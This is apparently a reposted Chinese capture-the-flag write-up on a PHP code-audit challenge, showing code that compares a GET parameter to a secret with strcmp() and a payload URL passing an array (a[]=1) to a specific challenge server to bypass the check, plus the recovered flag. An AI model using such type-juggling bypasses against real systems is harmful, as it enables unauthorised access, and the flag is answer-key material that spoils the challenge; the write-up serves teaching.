• 代码审计-strcmp比较字符串


    <?php
    $flag = "flag{xxxxx}";
    if (isset($_GET['a'])) {
    if (strcmp($_GET['a'], $flag) == 0) 
    //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
    //比较两个字符串(区分大小写)
    die('Flag: '.$flag);
    else
    print 'No';
    }
    ?>

    strcmp(str1,str2)

    如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
    比较两个字符串(区分大小写)

    如果我们传入非字符串类型的数据的时候(数组),这个函数将发生错误,并且返回数值 0

    在5.3之前的php中,显示了报错的警告信息后,返回数值0

    我们可以构造payload

    http://123.206.87.240:9009/6.php?a[]=1

    得到flag

    Flag: flag{bugku_dmsj_912k}

  • 相关阅读:
    C#绘制矢量图
    VC6配置boost
    MapX特性分析
    BCG文档
    VC单实例运行
    MapInfo7.0序列号和许可文件
    Mapx的VC开发实践
    网页设计实训
    illustrator初学之绘图基础1
    Ai绘图基础2
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/11406736.html
Copyright © 2020-2023  润新知